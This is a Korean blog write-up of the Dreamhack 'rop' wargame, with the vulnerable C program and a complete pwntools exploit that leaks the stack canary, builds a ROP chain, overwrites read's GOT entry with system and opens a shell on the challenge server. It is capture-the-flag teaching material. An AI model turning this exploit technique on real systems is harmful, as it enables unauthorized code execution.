[드림핵 시스템 해킹] Wargame : rop

asdf·2025년 1월 11일

pwnable

목록 보기
14/36

문제


풀이


취약점 분석


Canary와 NX가 적용되어 있습니다.

문제 파일인 rop.c를 살펴보겠습니다.

// Name: rop.c
// Compile: gcc -o rop rop.c -fno-PIE -no-pie

#include <stdio.h>
#include <unistd.h>

int main() {
  char buf[0x30];

  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);

  // Leak canary
  puts("[1] Leak Canary");
  write(1, "Buf: ", 5);
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);

  // Do ROP
  puts("[2] Input ROP payload");
  write(1, "Buf: ", 5);
  read(0, buf, 0x100);

  return 0;
}

read에서 버퍼 오버플로우가 가능하므로 Leak canary에서 canary를 구한 후 rop(return oriented programming)를 활용하면 될 것 같습니다.

스택 프레임 구조 파악

스택 구조 파악을 위해 main을 disassemble 하겠습니다.

여기서 buf가 rbp-0x40, canary가 rbp-0x8에 위치함을 알 수 있습니다.

익스플로잇 실행

canary를 먼저 얻어주겠습니다.

from pwn import *

def slog(n, m): return success(': '.join([n, hex(m)]))

p = remote("host3.dreamhack.games", 11533)
e = ELF("./rop")
libc = ELF("./libc.so.6")

payload = b'A' * 0x39
p.sendafter("Buf: ", payload)
p.recvuntil(payload)
canary = u64(b'\x00' + p.recvn(7))
slog("Canary", canary)

리턴 가젯을 통해 ROP체인을 구성해 보겠습니다.
구현해야 할 부분은 크게 3가지로 나눌 수 있습니다.

  • write(1, read_got, ...)
  • read(0, read_got, ...)
  • system("/bin/sh")
    먼저 write로 read함수의 got을 읽은 후 read함수와 system함수의 오프셋을 이용하여 system함수의 주소를 계산하겠습니다. 그 후 read(0, read_got, ...)을 통해 read_got에 구한 system의 주소를 덮어씌운 후 system으로 바뀐 read 함수를 실행하여 셸을 획득할 수 있습니다. 아래는 작성한 코드입니다.
read_plt = e.plt["read"]
read_got = e.got["read"]
write_plt = e.plt["write"]
#ROPgadget --binary rop | grep "찾는 가젯"으로 구할 수 있습니다
ret = 0x0000000000400596 
pop_rdi = 0x0000000000400853
pop_rsi_r15 = 0x0000000000400851

payload = b'A' * 0x38 + p64(canary) + b'B' * 0x8

#write(1, read_got, ...)
payload += p64(pop_rdi) + p64(1)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(write_plt)

#read(0, read_got, ...)
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(read_plt)

#read("/bin/sh") == system("/bin/sh")
payload += p64(pop_rdi)
#밑의 send에서 system 다음에 /bin/sh를 보내므로 /bin/sh의 위치가 read_got + 0x8이 됩니다.
payload += p64(read_got + 0x8)
payload += p64(ret)
payload += p64(read_plt)

p.sendafter(b"Buf: ", payload)
read = u64(p.recvn(6) + b'\x00'*2)
lb = read - libc.symbols["read"]
system = lb + libc.symbols["system"]

#read_got을 system으로 덮어쓰고 read_got + 0x8에는 b'/bin/sh\x00'가 들어갑니다.
p.send(p64(system) + b'/bin/sh\x00')

p.interactive()

전체 코드는 다음과 같습니다.

from pwn import *

def slog(n, m): return success(': '.join([n, hex(m)]))

p = remote("host3.dreamhack.games", 11533)
e = ELF("./rop")
libc = ELF("./libc.so.6")

payload = b'A' * 0x39
p.sendafter("Buf: ", payload)
p.recvuntil(payload)
canary = u64(b'\x00' + p.recvn(7))
slog("Canary", canary)

read_plt = e.plt["read"]
read_got = e.got["read"]
write_plt = e.plt["write"]
ret = 0x0000000000400596 
pop_rdi = 0x0000000000400853
pop_rsi_r15 = 0x0000000000400851

payload = b'A' * 0x38 + p64(canary) + b'B' * 0x8

#write(1, read_got, ...)
payload += p64(pop_rdi) + p64(1)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(write_plt)

#read(0, read_got, ...)
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(read_plt)

#read("/bin/sh") == system("/bin/sh")
payload += p64(pop_rdi)
payload += p64(read_got + 0x8)
payload += p64(ret)
payload += p64(read_plt)

p.sendafter(b"Buf: ", payload)
read = u64(p.recvn(6) + b'\x00'*2)
lb = read - libc.symbols["read"]
system = lb + libc.symbols["system"]

p.send(p64(system) + b'/bin/sh\x00')

p.interactive()

코드를 실행해 셸을 얻었습니다.

profile
Rainy Waltz(a_hisa)

0개의 댓글